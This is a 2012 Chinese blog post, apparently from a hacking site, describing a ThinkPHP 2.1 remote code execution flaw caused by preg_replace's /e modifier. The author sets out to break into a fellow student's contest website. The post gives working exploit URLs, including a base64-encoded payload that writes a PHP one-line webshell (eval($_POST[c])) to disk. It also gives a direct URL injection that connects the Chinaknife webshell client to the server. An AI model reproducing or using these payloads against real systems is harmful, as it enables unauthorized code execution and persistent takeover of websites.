ThinkPHP 2.1 漏洞可拿webshell

分类:安全 | 2012-08-23 | 撸过 700 次
0人扯谈

这个0day是一个月前爆出来的,为什么我今天说呢,因为今天我遇到了一个学弟用这个带漏洞的系统改框架码代码,他是去年用这套系统为西电写的网络攻防大赛的主页,那个时候0day还没爆出,所以网站一直幸免于难,但是,最近西电又要举办一次网络攻防大赛了,他还是用这套系统,那我就要义不容辞的上它了   嗷哈哈

晚上他和我聊  要我出比赛的有关题目  然后扔了个连接给我

我看了下  系统还是以前的那个thinkphp 2.1的版本

我们来分析下漏洞吧

官方发布了一个安全补丁

表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

 

125 – $res = preg_replace(‘@(w+)’.$depr.’([^’.$depr.’/]+)@e’, ‘$var[‘\1′]=”\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^’.$depr.’/]+)@e’, ‘$var[‘\1′]=’\2′;’, implode($depr,$paths));

 

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
然而在用正则解析pathinfo的时候,主要是这一句:

 

$res = preg_replace(‘@(w+)’.$depr.’([^’.$depr.’/]+)@e’, ‘$var[‘\1’]=”\2″;’, implode($depr,$paths));

 

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

‘$var[‘\1’]=”\2″;’

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

index.php/module/action/param1/${@print(THINK_VERSION)}

执行效果如下:

就是说

print( )里面可以执行我们的任意代码

如phpinfo()等其他函数

那就行了

我们可以直接利用

fputs和fopen函数直接写木马出来了

构造语句

fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))

base64_decode(“bW0ucGhw”)解码后是 mm.php

base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解码后是 <?eval($_POST[c]);?>

只要执行了 就能在该目录下生成一个mm.php的一句话木马文件

但是操作的时候出现了问题

经分析 是双引号被转义了

然后我试了其他几种不用双引号写马的代码

都失败了  原因是  <>  尖括号等都被转义了   而用

exec()等系统命令执行函数写马的话是写不出的

网上的利用方法貌似很少  只有神刀网的那个用echo写马的方法

但是前提是双引号没有被转义掉才能成功

怎么办呢

这个时候不要太拘泥于这里了

一个中国人搞安全怎么能忘记中国人写的软件菜刀了

直接构造代码

 

http://www.xxxxxx.net/project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}

 

菜刀里面直接填这个路径 密码C  就能连接了

 

 

根本不用拘泥于写马的问题

神刀网上此漏洞利用的方法 还要考虑文件写权限的问题

本站内容均为原创,转载请务必保留署名与链接!
ThinkPHP 2.1 漏洞可拿webshell:https://www.webshell.cc/3955.html

随机日志